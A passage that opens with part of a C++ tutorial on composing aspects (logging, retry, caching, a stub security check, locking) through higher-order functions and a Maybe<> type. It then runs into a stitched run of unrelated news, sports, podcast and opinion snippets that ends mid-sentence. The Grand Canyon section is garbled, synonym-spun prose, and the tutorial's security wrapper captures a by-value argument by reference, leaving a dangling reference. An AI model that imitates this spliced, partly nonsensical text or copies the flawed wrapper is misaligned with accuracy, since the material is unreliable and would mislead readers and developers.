don’t have to use Maybe<> and here it’s used only for example. Here we also use the fact that nullptr in C++11 has it’s own type. Maybe has defined constructor from that type producing nothing state. So when you return result from findUser function, there is no need for explicit conversion into Maybe<> – you can just return User or nullptr, and proper constructor will be called. Operator () returns possible value without any checks, and getError() returns possible error. Function just() is used for explicit Maybe construction (this is standard name). Logging aspect First, let’s rewrite log aspect so it will calculate execution time using std::chrono. Also let’s add new string parameter as name for called function which will be printed to log. template std::function logged(string name, std::function f) { return [f,name](Args... args){ LOG << name << " start" << NL; auto start = std::chrono::high_resolution_clock::now(); R result = f(std::forward(args)...); auto end = std::chrono::high_resolution_clock::now(); auto total = std::chrono::duration_cast(end - start).count(); LOG << "Elapsed: " << total << "us" << NL; return result; }; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 template < typename R , typename . . . Args > std :: function < R ( Args . . . ) > logged ( string name , std :: function < R ( Args . . . ) > f ) { return [ f , name ] ( Args . . . args ) { LOG << name << " start" << NL ; auto start = std :: chrono :: high_resolution_clock :: now ( ) ; R result = f ( std :: forward < Args > ( args ) . . . ) ; auto end = std :: chrono :: high_resolution_clock :: now ( ) ; auto total = std :: chrono :: duration_cast < std :: chrono :: microseconds > ( end - start ) . count ( ) ; LOG << "Elapsed: " << total << "us" << NL ; return result ; } ; } Note std::forward here for passing arguments more clean way. We don’t need to specify return type as Maybe because we don’t need to perform any specific action like error checking here. ‘Try again’ aspect What if we have failed to get data (for example, in case of disconnect). Let’s create aspect which will in case of error perform same query one more time to be sure. // If there was error - try again template std::function(Args...)> triesTwice(std::function(Args...)> f) { return [f](Args... args){ Maybe result = f(std::forward(args)...); if (result.hasError()) return f(std::forward(args)...); return result; }; } 1 2 3 4 5 6 7 8 9 10 11 // If there was error - try again template < typename R , typename . . . Args > std :: function < Maybe < R > ( Args . . . ) > triesTwice ( std :: function < Maybe < R > ( Args . . . ) > f ) { return [ f ] ( Args . . . args ) { Maybe < R > result = f ( std :: forward < Args > ( args ) . . . ) ; if ( result . hasError ( ) ) return f ( std :: forward < Args > ( args ) . . . ) ; return result ; } ; } Maybe<> is used here to identify error state. This method can be extended – we could check error code and decide is there any sense to perform second request (was it network problem or database reported some format error). Cache aspect Next thing – let’s add client side cache and check inside it before performing actual server-side request (in functional world this is called memoization). To emulate cache here we can just use std::map: map userCache; // Use local cache (memoize) template std::function(K,Args...)> cached(C & cache, std::function(K,Args...)> f) { return [f,&cache](K key, Args... args){ // get key as first argument if (cache.count(key) > 0) return just(cache[key]); else { Maybe result = f(std::forward(key), std::forward(args)...); if (!result.hasError()) cache.insert(std::pair(key, result())); //add to cache return result; } }; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 map < int , User > userCache ; // Use local cache (memoize) template < typename R , typename C , typename K , typename . . . Args > std :: function < Maybe < R > ( K , Args . . . ) > cached ( C & cache , std :: function < Maybe < R > ( K , Args . . . ) > f ) { return [ f , & cache ] ( K key , Args . . . args ) { // get key as first argument if ( cache . count ( key ) > 0 ) return just ( cache [ key ] ) ; else { Maybe < R > result = f ( std :: forward < K > ( key ) , std :: forward < Args > ( args ) . . . ) ; if ( ! result . hasError ( ) ) cache . insert ( std :: pair < int , R > ( key , result ( ) ) ) ; //add to cache return result ; } } ; } This function will insert element into cache if it was not there. Here we used that knowledge that cache is std::map, but it can be changed to any key-value container hidden behind some interface. Second important part, we used only first function argument here as key. If you have complex request where all parameters should act as composite key – what to do? It’s still possible and there are a lot of ways to make it. First way is just to use std::tuple as key (see below). Second way is to create cache class which will allow several key parameters. Third way is to combine arguments into single string cache using variadic templates. Using tuple approach we can rewrite it like this: map,User> userCache; // Use local cache (memoize) template std::function(Args...)> cached(C & cache, std::function(Args...)> f) { return [f,&cache](Args... args){ // get key as tuple of arguments auto key = make_tuple(args...); if (cache.count(key) > 0) return just(cache[key]); else { Maybe result = f(std::forward(args)...); if (!result.hasError()) cache.insert(std::pair(key, result())); //add to cache return result; } }; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 map < tuple < int > , User > userCache ; // Use local cache (memoize) template < typename R , typename C , typename . . . Args > std :: function < Maybe < R > ( Args . . . ) > cached ( C & cache , std :: function < Maybe < R > ( Args . . . ) > f ) { return [ f , & cache ] ( Args . . . args ) { // get key as tuple of arguments auto key = make_tuple ( args . . . ) ; if ( cache . count ( key ) > 0 ) return just ( cache [ key ] ) ; else { Maybe < R > result = f ( std :: forward < Args > ( args ) . . . ) ; if ( ! result . hasError ( ) ) cache . insert ( std :: pair < decltype ( key ) , R > ( key , result ( ) ) ) ; //add to cache return result ; } } ; } Now it’s much more universal. Security aspect Never forget about security. Let’s emulate user session with some dummy class – class Session { public: bool isValid() { return true; } } session; 1 2 3 4 class Session { public : bool isValid ( ) { return true ; } } session ; Security checking high-order function will have additional parameter – session. Checking will only verify that isValid() field is true: // Security checking template std::function(Args...)> secured(S session, std::function(Args...)> f) { // if user is not valid - return nothing return [f, &session](Args... args) -> Maybe { if (session.isValid()) return f(std::forward(args)...); else return Error(403, "Forbidden"); }; } 1 2 3 4 5 6 7 8 9 10 11 12 // Security checking template < typename R , typename . . . Args , typename S > std :: function < Maybe < R > ( Args . . . ) > secured ( S session , std :: function < Maybe < R > ( Args . . . ) > f ) { // if user is not valid - return nothing return [ f , & session ] ( Args . . . args ) -> Maybe < R > { if ( session . isValid ( ) ) return f ( std :: forward < Args > ( args ) . . . ) ; else return Error ( 403 , "Forbidden" ) ; } ; } ‘Not empty’ aspect Last thing in this example – let’s treat not found user as error. // Treat empty state as error template std::function(Args...)> notEmpty(std::function(Args...)> f) { return [f](Args... args) -> Maybe { Maybe result = f(std::forward(args)...); if ((!result.hasError()) && (result.isEmpty())) return Error(404, "Not Found"); return result; }; } 1 2 3 4 5 6 7 8 9 10 11 // Treat empty state as error template < typename R , typename . . . Args > std :: function < Maybe < R > ( Args . . . ) > notEmpty ( std :: function < Maybe < R > ( Args . . . ) > f ) { return [ f ] ( Args . . . args ) -> Maybe < R > { Maybe < R > result = f ( std :: forward < Args > ( args ) . . . ) ; if ( ( ! result . hasError ( ) ) && ( result . isEmpty ( ) ) ) return Error ( 404 , "Not Found" ) ; return result ; } ; } Im not writing here about error handling aspect, but it’s also can be implemented via same approach. Note that using error propagation inside Maybe<> monad you can avoid using exceptions and define your error processing logic different way. Multithread lock aspect template std::function locked(std::mutex& m, std::function f) { return [f,&m](Args... args){ std::unique_lock lock(m); return f(std::forward(args)...); }; } 1 2 3 4 5 6 7 8 template < typename R , typename . . . Args > std :: function < R ( Args . . . ) > locked ( std :: mutex & m , std :: function < R ( Args . . . ) > f ) { return [ f , & m ] ( Args . . . args ) { std :: unique_lock < std :: mutex > lock ( m ) ; return f ( std :: forward < Args > ( args ) . . . ) ; } ; } No comments. FINALLY Finally, what for was all this madness? FOR THIS LINE: // Aspect factorization auto findUserFinal = secured(session, notEmpty( cached(userCache, triesTwice( logged("findUser", to_function(findUser)))))); 1 2 3 // Aspect factorization auto findUserFinal = secured ( session , notEmpty ( cached ( userCache , triesTwice ( logged ( "findUser" , to_function ( findUser ) ) ) ) ) ) ; Checking (let’s find user with id 2): auto user = findUserFinal(2); LOG << (user.hasError() ? user.getError()->message : user()->name) << NL; // output: // 2015-02-02 18:11:52.025 [83151:10571630] findUser start // 2015-02-02 18:11:52.025 [83151:10571630] Elapsed: 0us // 2015-02-02 18:11:52.025 [83151:10571630] Bob 1 2 3 4 5 6 7 auto user = findUserFinal ( 2 ) ; LOG << ( user . hasError ( ) ? user . getError ( ) -> message : user ( ) -> name ) << NL ; // output: // 2015-02-02 18:11:52.025 [83151:10571630] findUser start // 2015-02-02 18:11:52.025 [83151:10571630] Elapsed: 0us // 2015-02-02 18:11:52.025 [83151:10571630] Bob Ok, let’s perform tests for several users ( here we will request same user twice and one non-existing user ): auto testUser = [&](int id) { auto user = findUserFinal(id); LOG << (user.hasError() ? "ERROR: " + user.getError()->message : "NAME:" + user()->name) << NL; }; for_each_argument(testUser, 2, 30, 2, 1); //2015-02-02 18:32:41.283 [83858:10583917] findUser start //2015-02-02 18:32:41.284 [83858:10583917] Elapsed: 0us //2015-02-02 18:32:41.284 [83858:10583917] NAME:Bob //2015-02-02 18:32:41.284 [83858:10583917] findUser start //2015-02-02 18:32:41.284 [83858:10583917] Elapsed: 0us // error: //2015-02-02 18:32:41.284 [83858:10583917] ERROR: Not Found // from cache: //2015-02-02 18:32:41.284 [83858:10583917] NAME:Bob //2015-02-02 18:32:41.284 [83858:10583917] findUser start //2015-02-02 18:32:41.284 [83858:10583917] Elapsed: 0us //2015-02-02 18:32:41.284 [83858:10583917] NAME:John 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 auto testUser = [ & ] ( int id ) { auto user = findUserFinal ( id ) ; LOG << ( user . hasError ( ) ? "ERROR: " + user . getError ( ) -> message : "NAME:" + user ( ) -> name ) << NL ; } ; for_each_argument ( testUser , 2 , 30 , 2 , 1 ) ; //2015-02-02 18:32:41.283 [83858:10583917] findUser start //2015-02-02 18:32:41.284 [83858:10583917] Elapsed: 0us //2015-02-02 18:32:41.284 [83858:10583917] NAME:Bob //2015-02-02 18:32:41.284 [83858:10583917] findUser start //2015-02-02 18:32:41.284 [83858:10583917] Elapsed: 0us // error: //2015-02-02 18:32:41.284 [83858:10583917] ERROR: Not Found // from cache: //2015-02-02 18:32:41.284 [83858:10583917] NAME:Bob //2015-02-02 18:32:41.284 [83858:10583917] findUser start //2015-02-02 18:32:41.284 [83858:10583917] Elapsed: 0us //2015-02-02 18:32:41.284 [83858:10583917] NAME:John As you can see it’s working as intended. It’s obvious that we got a lot of benefits from such decomposition. Factorisation leads to decoupling of functionality, more modular structure and so on. You gain more focus on actual business logic as result. We can change order of aspects as we like. And as we made aspect functions rather universal we can reuse them avoiding a lot of code duplication. Instead of functions we can use more sophisticated functors (with inheritance), and instead of Maybe<> also could be more complex structure to hold some additional info. So whole scheme is extendable. Note also, that you can pass lambdas as additional aspect parameters. Working sample to play with: github gist or ideone Ps. BONUS: -The actual Great Canyon features probably the most polarized climate extreme conditions associated with all over the world. The actual Northern edge rests in a hill height associated with 8, 000 ft, the actual Southern Edge from 7, 000 ft, and also the base from the Great Canyon and also the Co Water rests in a low-desert height associated with simply two, 000 in order to two, 500 ft. Due to these types of extreme conditions within height, the actual temps within the Canyon also provide high levels and incredibly reduced levels. Individuals possess each freezing in order to passing away as well as already been warmed in order to passing away, just about all within places which are just a couple of kilometers through one another. Because it is breakthrough through Europeans within the middle 1500s (actually through The spanish language explorer Coronado as well as their men), the actual Great Canyon offers stated the actual life associated with countless individuals. Within the guide “Over the actual Advantage: Passing away within the Great Canyon” the actual writers discover all the numerous ways individuals give up on within the Canyon. Heating system in order to passing away, or even more precisely perishing associated with dehydration- as well as warmth stroke-induced heart police arrest, is actually the most typical method individuals end within the Canyon. The actual wheels, becoming hill conditions, tend to be awesome within the summer time as well as lower correct chilly within the winter season. In the wheels, typical levels within the summer time remain eighty levels, along with levels within the 50s. Typical levels within the winter season in the wheels remain forty levels, levels close to eighteen levels. Therefore beginning in the Edge points feel at ease sufficient, however as soon as lower within the Canyon the actual landscape as well as climate alter significantly! Typical levels in the Co Water within the summer time float close to 110 levels, and that is within the tone, along with levels just within the reduced 80s. Within the winter season, the actual Co Water offers levels around sixty levels, along with levels close to forty levels. Lots of people begin OKAY in the wheels, considering the actual Canyon isn’t actually which large of the offer. These people begin without having sufficient drinking water as well as without having sufficient of the mind start heat from the day time. As soon as lower within the Great Canyon, they are devoted to possibly dealing with drinking water or even obtaining back again away. Once the warmth strikes, most of them have not managed to get in order to possibly. Within the winter season, walkers tend to be departing the actual Co Water along with levels close to sixty as well as seventy levels — fairly comfy. However through the period they are in the wheels they may be the sub-zero level blizzard. You will find walkers who’ve really succumbed towards the chilly close to the wheels as well as already been hidden within the snowfall, just found days later on once the snowfall dissolved away. Difficult to assume whenever the first is departing the heat from the canyon base. An additional main element in Great Canyon climate may be the monsoon period, that endures through middle 06 in order to middle Sept, and may usher within damaging thunderstorms. Walkers as well as boaters have to be cautious associated with large container canyons whenever there is ANY KIND OF climate in the region. The thunderstorm in the Northern Edge can make the expensive ton within Phantom Creek sixteen kilometers aside, as well as you will find individuals that have passed away presently there along with other locations along with apparently absolutely no pre-warning. In the event that there is any kind of possibility of rainfall inside 50 kilometers in a path, prevent container canyons. The actual Great Canyon is a good spot to go to, however be ready as well as understand what you are engaging in. It might simply save your valuable existence! -Image caption Thomas Hadley said 11 lambs were still missing and 33 have been killed A young farmer has spoken of his shock after most of his flock of 56 lambs were killed by two dogs. Thomas Hadley was telephoned on Friday to say two dogs were attacking his sheep in Risbury, Leominster. Mr Hadley, 23, said when he arrived the field was "scattered" with dead and injured lambs and the dogs were still attacking other sheep. Police sent armed officers and seized the dogs. A 64-year-old man has been arrested and bailed. The man, from Leominster, has been bailed until October on suspicion of allowing a dog to be out of control and allowing a dog to kill or maim livestock. A police spokesman said the firearms officers were deployed as a "matter of precaution". 'Can't trust any dog' Mr Hadley said 33 of the lambs, who were born in April, died from their injuries or shock or had to be destroyed. "I haven't slept at all," he said. "We are still missing 11 lambs and these could be fatally injured lying somewhere and we have searched a two-mile radius of this place and haven't found them." Mr Hadley, who also works as an sheep shearer and livestock agent, has been breeding sheep for three years and said the incident had cost at least £10,000. "I have lost the breed lines and will have to start from scratch," he said. "People don't realise that their dogs can do this," he said. "You can't trust any dog around livestock." -LONDON (Reuters) - Gold rose on Wednesday, recovering from its lowest in nearly two weeks, as prospects for further economic stimulus helped to bolster investor appetite whil the dollar remained flat. Accommodative monetary policies favour gold as well as equities because low interest rates encourage investors to opt for assets that do not rely on interest yields. Spot gold was up 0.7 percent at $1,340.90 an ounce by 1417 GMT, having earlier touched $1,327.30, its lowest since July 1. Bullion had fallen by 1.7 percent on Tuesday, its biggest one-day drop since May 24. U.S. gold rose 0.5 percent to $1,341.50. “Gold prices can continue to benefit from an uncertain economic picture for the UK and Europe after the Brexit vote and also from any quantitative easing, which also means low interest rates,” Natixis analyst Bernard Dahdah said. Gold has gained about $100 an ounce since Britain voted to leave the European Union, with worried investors piling their cash into safe-haven assets. Global shares came within reach of testing their 2016 peak on Wednesday, also bolstered by prospects of economic stimulus. [MKTS/GLOB] The dollar, in which gold is priced, fell 0.2 percent against a basket of six currencies. After five weeks of gains, gold had come under some pressure following strong U.S. non-farm payrolls data on Friday. Despite better than expected jobs data, the Federal Reserve should be in no rush to raise interest rates, two senior Fed officials said. “Gold thrives in an environment of negative rates, low government bond yields ...obviously the unknown is the probability of a Fed rate increase, which could however no happen this year, helping the metal’s price ascent,” Societe Generale analyst Robin Bhar said. Holdings of SPDR Gold Trust, the world’s largest gold-backed exchange-traded fund, fell 1.63 percent to 965.22 tonnes on Tuesday, its biggest one-day decline since Dec. 2. [GOL/] Palladium touched an eight-month high of $645 an ounce. Platinum, which fell for the first time in two weeks in the previous session, rebounded 0.1 percent to $1,087.50. Silver, meanwhile, gained 0.7 percent to $20.27. -Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings. June 21, 2017, 2:48 PM GMT / Updated June 21, 2017, 3:21 PM GMT By Alex Seitz-Wald SANDY SPRINGS, Georgia — Democrats are tired of losing and the accusations are flying. After going all in and coming up short in Georgia's special election Tuesday, Democratic lawmakers and political operatives are venting their frustration at losing every competitive special congressional election so far this year. Many were upset that Democrat Jon Ossoff blunted what was arguably his greatest asset — antipathy toward President Donald Trump — by going relatively easy on the president and avoiding controversy at all cost. Others, however, countered that Ossoff was a fine candidate who was the victim of a party that is too cautious and has lost its ability to connect with voters. Sen. Chris Murphy (D-CT), one of the party’s rising stars, said Democrats have been distracted by the investigation in Trump’s alleged ties to Russia and need to focus more on making a concrete impact on voters' lives. “We’ve been hyper-confused for the past five years," he said on MSNBC’s "Morning Joe." "Some of the time we’re talking about economic growth, some of the time we’re talking about economic fairness.” "We need to be hyper-focused on this issue of wage growth and job growth — I think Democrats are scared of this message because it’s what Republicans have been talking about," he added. Rep. Bill Pascrell (D-NJ) said, "Close is only good in horse shoes. A loss is a loss...We can't just dismiss it. We need to review it together." RELATED: Five Lessons From the Georgia Special Election Democrats also have an "authenticity" problem, he said, noting, “I think that there are a lot of people who look at the Democratic party and aren’t sure that we aren’t also captive by special interest — and that’s not true." On her path to victory, Republican Karen Handel returned to the GOP playbook of tying Democratic candidates in purple-to-red districts to the party's liberal wing, and especially to House Minority Leader Nancy Pelosi. Ossoff presented himself as squeaky clean alternative with uncontroversial plans like cutting government spending. Republican candidate for Georgia's 6th District Congressional seat Karen Handel celebrates with her husband Steve as she declares victory Tuesday, June 20, 2017, in Atlanta. John Bazemore / AP “One important lesson is that when they go low, going high doesn't f**king work,” tweeted Neera Tanden, the president of the liberal Center for American Progress think tank, referring to Michelle Obama's maxim from the 2016 campaign. Rep. Seth Moulton (D-MA), a former Marine with three degrees from Harvard and one of the party's up-and-comers, said the defeat should be a “wake up call for Democrats.” Rep. Ro Khanna (D-CA), a progressive who represents Silicon Valley, said Democrats have failed to appreciate how massive changes in the economy are impacting voters. “We have to figure out how we are going to speak to people’s economic anxiety,” he told NBC News. “We’ve failed at doing that.” “Our politics are still conventional, incremental, are not very different, frankly, from our proposals from 10 years ago,” he added. And when Democrats don’t run on bold economic ideas, Khanna added, “These elections will end up being about what party people are from or more trivial issues like that." Jeff Weaver, Bernie Sanders’ former presidential campaign manager, said that while Ossoff ran a good campaign, Democrats should not have made that race their only cause. Instead, Weaver argued, the party should have offered more help to its candidates in the Montana and Kansas special elections earlier this year. “In the Montana race, the one I’m most familiar with, with a fraction of the investment that was made in Georgia 6 we likely could have sworn in a Democratic congressperson,” Weaver told NBC News. “Should we as Democrats compete in economically conservative districts like Georgia 6? Absolutely. We should compete everywhere. But the more likely road to a Democratic U.S. House majority runs through places like Kansas, Montana and South Carolina,” he added. Democratic candidate for 6th congressional district Jon Ossoff, left, waves to the crowd while stepping offstage with his fiancee Alisha Kramer after conceding to Republican Karen Handel at his election night party on June 20, 2017 in Atlanta. David Goldman / AP The Democratic Congressional Campaign Committee quickly sought to move past the Georgia debacle by distributing a memo to staff and Democratic lawmakers officially declaring — for the first time — that Chairman Rep. Ben Ray Luján (D-NM) believes "the House is in play." "I don’t make this statement lightly — I’ve never said it before," Luján said. "This is about much more than one race: the national environment, unprecedented grassroots energy and impressive Democratic candidates stepping up to run deep into the battlefield leave no doubt that Democrats can take back the House next fall." And former Obama White House Senior Adviser Dan Pfeiffer warned Democrats to avoid yet another round of self-flagellating recriminations. But Anna Galland, the executive director of MoveOn.org, said the Georgia race shows “Democrats will not win back power merely by serving as an alternative to Trump and Republicans.” “In the closing weeks of the race, Ossoff and the [Democratic Congressional Campaign Committee] missed an opportunity to make Republicans’ attack on health care the key issue, and instead attempted to portray Ossoff as a centrist, focusing on cutting spending and coming out in opposition to Medicare for All,” she said. Some of the toughest criticism came from the Sanders wing of the party. RoseAnn DeMoro‏, the president of National Nurses Union, suggested the Democratic party’s current strategy was "insanity." But Stacey Abrams, the minority leader of the Georgia House and a 2018 gubernatorial candidate, said Democrats need to take a breath and focus on the long game. “I’m a red state Democrat in the South," she told NBC News. "We understand that we have to make incremental progress, that we don’t win in one fell swoop." -Ben Simmons Expects To Go First Overall, Prepares To Play For Sixers Share ! tweet LSU’s Ben Simmons expects nothing less than being picked No. 1 overall in the coming 2016 NBA Draft and according to a report, his camp is already preparing the multi-faceted forward to suit up with the Philadelphia 76ers. The story was supported with the fact that Simmons has already signed a shoe deal with Nike, cancelling out the rumor about the Australian forcing his way to Los Angeles in search of better endorsement opportunities. Tom Moore of Burlington County Times wrote: Agent Rich Paul, who represents LeBron James, John Wall and others, “has been preparing for his client to go to Philadelphia from the moment the Sixers got the” top selection in the May 17 draft lottery, according to the source. Neither Simmons nor Paul has apparently made any public comments about draft preference and the Sixers since the lottery. Simmons has a connection to the area in that his trainer lives in Drexel Hill. He’s also known Sixers coach Brett Brown, who coached Simmons’ dad in Melbourne, Australia, since birth. According to most experts, the draft is a two-horse race between Simmons and Duke’s Brandon Ingram but all indications point to the Sixers selecting the former by a landslide. It seems the feeling is now mutual. Mandatory Credit: Derick E. Hingle-USA TODAY Sports Comments comments -Each weekday during the minor-league season, FanGraphs is providing a status update on multiple rookie-eligible players. Note that Age denotes the relevant prospect’s baseball age (i.e. as of July 1st of the current year); Top-15, the prospect’s place on Marc Hulet’s preseason organizational list; and Top-100, that same prospect’s rank on Hulet’s overall top-100 list. *** Orlando Castro, LHP, Pittsburgh Pirates (Profile) High-A: 22N/AN/A55.2 IP, 46 H, 18 R, 41/7 K/BB, 2.91 ERA, 2.77 FIP Summary While he’s not remotely physically imposing, this little lefthander knows what he’s doing. Notes Last year, Orlando Castro emerged on the fringes of the prospect scene with a stellar first half with Low-A West Virginia, putting up a 1.93 ERA and 63/6 K/BB ratio in 74.2 innings. He was basically a complete nobody before that, so his performance didn’t get him noticed by many other than Pirates diehards and K/BB leaderboard sorters, and a mediocre second half with High-A Bradenton did nothing to further his ascent up prospect lists. Now, though, Castro’s doing it again, dominating High-A hitters by filling the zone and missing enough bats to stay interesting, and this second successful run commands a bit more attention. After all, Castro’s just 22 and he throws with his left hand. Castro’s listed at 5’11” and 190 pounds, and size is certainly not a positive for him. As you might expect from a small lefty control artist, he’s not an especially hard thrower, though he works consistently at 88-91 mph, which isn’t particularly poor for a lefthanded starter. Castro throws both a four-seam and a two-seam fastball, the latter of which helps him get groundballs. The Pirates tend to heavily emphasize changeup development over that of breaking pitches in the low minors, and so when I saw him in 2013, Castro used his 83-84 mph changeup far more than his big-breaking 73-76 mph curveball, but both pitches should end up average or better. The changeup is so advanced that he’s limited righties to just a .214/.245/.328 line this year, while his fellow southpaws have hit .257/.301/.314. It all comes out of an extremely simple, eminently repeatable motion that allows Castro to hit his spots consistently. He’s not just a guy going out there and aiming for the plate–he moves and mixes his pitches and locations adeptly. There’s certainly precedent out there for guys with this sort of approach succeeding in the bigs–take Tommy Milone, Jason Vargas, Dallas Keuchel, Jon Niese, and Travis Wood as a few examples of sub-90 southpaws with good pitchability and offspeed pitches. How he adjusts to Double-A hitters will be a big indicator of whether Castro will ascend to that status or become merely another organizational control pitcher. He’s probably about ready for that test, though, and I have a feeling he’ll do better on it than many think. *** James Dykstra, RHP, Chicago White Sox (Profile) Low-A: 23N/AN/A51.2 IP, 59 H, 22 R, 44/7 K/BB, 3.83 ERA, 2.64 FIP Summary This sixth-round find has a polished arsenal and good control. Notes The brother of former first-rounder and current Triple-A slugger Allan Dykstra, James Dykstra became the highest-drafted player ever out of Cal State San Marcos last year, with his sixth-round selection trumping Johnny Omahen’s 35th-round slot quite handily. While his brother has walked more than he’s struck out this year, James has posted an eye-catching K/BB ratio of his own in his first extended minor league action, tacking on a 61% groundball rate as well. Above-average strikeouts, minimal walks, and an extreme groundball rate comprise a great statistical platform to build from, but Dykstra is 23, so he’ll need to move quickly to be taken seriously. He has the stuff to make that jump, though, with a polished three-pitch mix that includes an 89-93 mph running fastball, a 72-76 mph big-breaking curveball, and an 80-84 mph sinking changeup. His fastball/changeup combination is solid, and both are solid-average pitches; the curveball flashes higher than both of them and could be a plus offering, but he’s not consistent with his usage of it. Sometimes he’ll fall in love with the pitch and throw it 50% of the time for an inning, while others he’ll abandon it altogether. Here’s a look at the pitch flummoxing touted Red Sox prospect Manuel Margot: And here’s a look at a strikeout on the changeup: With good size and athleticism, an easy delivery, and an interesting set of pitches, Dykstra has the upside of a good innings-eater at the big-league level. He’s not always consistent with his stuff and approach, which is both an obvious negative–consistency is, well, good–and a positive–he’s already pitching extremely well without consistency, so if he can tighten the screws further on his stuff, mechanics, and approach, he’ll adjust to new levels very well. He will need to move quickly due to his age, but this isn’t just a random college finesse pitcher beating up on inexperienced bats–the all-around excellent numbers are backed up by across-the-board solid attributes. *** Antonio Senzatela, RHP, Colorado Rockies (Profile) Level: Low-A Age: 19 Top-15: N/A Top-100: N/A Line: 55.1 IP, 57 H, 28 R, 27/13 K/BB, 3.90 ERA, 5.40 FIP Summary A teenager with easy velocity, Senzatela doesn’t have exciting numbers, but his upside is high if his offspeed pitches come around. Notes Antonio Senzatela has the highest walk rate of the three pitchers discussed in this piece, at (a still very good) 5.5%. He also has easily the lowest strikeout rate, a worrisome 11.5%. His FIP is an ugly 5.40, roughly double Dykstra’s and Castro’s. So why should we care about him? There are several reasons. First, Senzatela turned 19 in January, roughly two months after Dykstra–who, mind you, is in the same league–turned 23. Comparing their performances doesn’t mean a whole lot–one would hope that Dykstra’s the more advanced guy, and he is. Senzatela has at least a couple of years before he needs to really get moving performance-wise; at this stage, the question is stuff. And he has stuff. Or, at least, he has a fastball. Three things about the above video: 1.) He hit 95 mph. 2.) He hit 95 easy. 3.) He hit 95 easy in the sixth inning. When Senzatela first came out for warmups in the start I saw, I wasn’t expecting much. He looks shorter than his listed 6’1″ and heavier than his listed 180, maybe 5’11” 205 or so, and he employs a low-effort motion that doesn’t look like it should generate a whole lot of velocity, especially from a pitcher of that size. And yet, there it is. Senzatela works mostly at 90-94 mph and projects for above-average command due to the easy motion, which is a heck of a pair of building blocks for a teenager. Everything else is a work in progress, which is why Senzatela doesn’t miss many bats. He throws a slider, curve, and changeup, all of which grade out as 30 or 35-grade pitches on the 20-80 scouting scale. The 71-75 mph curve is very soft and doesn’t have the big break required to make a pitch that slow work, the slider lacks bite, and the changeup doesn’t have good movement either, though it does have good velocity separation at 77-82 mph. Every now and then, Senzatela will flash up to fringe-average with his offspeed pitches, lending hope that he’ll take some steps forward in that department as time goes on. The curve, in particular, has some potential if he can tighten it up some, an adjustment that is quite common for pitchers at this developmental stage. All he needs is one of his secondary pitches to come around to profile as a good relief pitcher, and if the whole set can come up to average, he’ll be a good #4 starter. There’s some risk involved here because of the inadequacy of his current offspeed arsenal, but Senzatela’s easy velocity can’t be taught, and he has time to figure everything else out. -Enter Shadar Logoth. There are some really nice descriptions of the architecture of this ruined city. How do you picture the characters? The boys slip out the back of the warded shelter without permission to explore the empty city. As night approaches, they encounter Mordeth. We get into the motivations of this dangerous character. Matt picks up the ruby hilted dagger during their flight, but tells no one. After they return Rand has a dream. Is the old man in it Ishmael? The approach of Tollocs forces the party to flee. WoTSpoilers is a twice weekly book-club, you can join the conversation on Discord Remember, we're two nerds in a basement who would rather be creating content full time, than working our 9-5s. You can help us create the content you love, by donating on Patreon -A weird ‘metal butterfly’ which buzzed a father and son as they left a restaurant in Ohio this week is among the clearest UFO pictures ever taken. But some UFO fans say it’s a fake - possibly created using CGI software. Local men Tom and Christopher claim that the weird, butterfly-like craft buzzed them - then they saw two black, military helicopters following it. It was shown off by paranormal-themed YouTube channel Secure Team - whose creator, Tyler Glockner, swears it is real. Glockner says, ‘The reason I am calling this an alien craft rather than just a UFO…is in the stunning detail, where we can see the true structural characteristics of this ship. ‘And guys you take a look and tell me with a straight face this has anything to do with humans. ‘The features on this thing don't make any sense.’ Glockner claims that the duo who filmed the clip were unable to photograph the military helicopters which tailed the craft, as they were ‘going the other way’. Nigel Watson, author of the UFO Investigations Manual, is more sceptical, saying, ‘It looks like it was produced using a model and CGI. It is a very distinctive looking object, it reminds me of the Millennium Falcon spacecraft in the Star Wars films with a bite taken out of it. ‘Alarm bells ring when the witnesses are only known as Tom and Christopher, and we might also wonder why other people in the area didn't see it. -Yesterday was brutal for NC State fans. First they learned that Trevor Lacey was going pro, then they find out Kyle Washington is transferring. So for all of you toeing the ledge right now, we have some recruiting news that will hopefully put you in a better mood. According to Adam Zagoria of ZagsBlog, Mark Gottfried is in Greece looking for a commitment from 7 foot center Georgios Papagiannis. N.C. State coach @Mark_Gottfried left for Greece today where he will see 7-footer Georgios Papagiannis. More here: http://t.co/QvTZ5Ywtcr — Adam Zagoria (@AdamZagoria) April 17, 2015 Now, I’m not going to act like I’ve seen anything more than a few videos, but this kid is legit. In fact, there are a few coaches that think he’s a potential one and done type guy (From the videos I’m not buying that). He’s 7’1, has a good frame, is bouncy, coordinated, can handle it a bit and can shoot it. Gott is trying to lock him up and is likey the first coach to go over to visit him. He is also looking at St. John’s, Temple, Oregon, Kentucky and UConn. He is expected to make a decision by June but Gottfried is surely hoping to come home with one in a few days. -Dear President Obama: Before you decide to attack Syria, yet another Arab or Islamic country that does not threaten U.S. security, there are certain constitutional “niceties” that you should observe. Chronically violating the Constitution overturns the rule of law and can produce costly blowbacks. On August 28, you stated that bombing Syria “is not about war, it’s about accountability,” obviously referring to the brutal gassing of neighborhoods outside of Damascus. What about your accountability to receive authorization from Congress which, under Article 1, Section 8, has the sole and exclusive power to declare war? Spare Americans the casuistry of your lawyers who “legalized” your war on Libya, with no declaration, authorization or appropriation of funds from Congress, and pushed the envelope of the “unitary presidency” beyond the unlawful and brazen extremes advocated by George W. Bush and his lawyers. Nearly 200 members of both parties of Congress – now on its August recess – demanded there be no attack on Syria without Congressional authorization. These signers have so far included 72 Democrats. Merely secretly consulting with some lawmakers on the Intelligence Committees does not substitute for formal Congressional authorization. The framers of our Constitution – whatever their other differences – were unanimous in writing Article 1, Section 8, so that no president could go to war on his own. To do so, as you have already done in the past, would be a major impeachable offense. The media have reported that your lawyers are searching for legal justification for Tomahawk Missiling Syria. They need look no more – the Constitution clearly rests the power to engage in war with Congress and Congress only. You cannot start another war! You cannot continue to be the prosecutor, judge, jury and executioner anywhere, and at any time. You may think the foregoing cautious and mere formalities. But the framers held the war-making power in Congress for another reason than just thwarting a latter-day King George III tyranny. They wanted a deliberative open process to avoid reckless presidential decisions that were bad for our country and produced entanglements with warring foreign nations. Remember George Washington’s farewell address on this point – truer today than in his day. Remember what the nearly 200 members of Congress said to you – “engaging our military in Syria with no direct threat to the United States and without prior 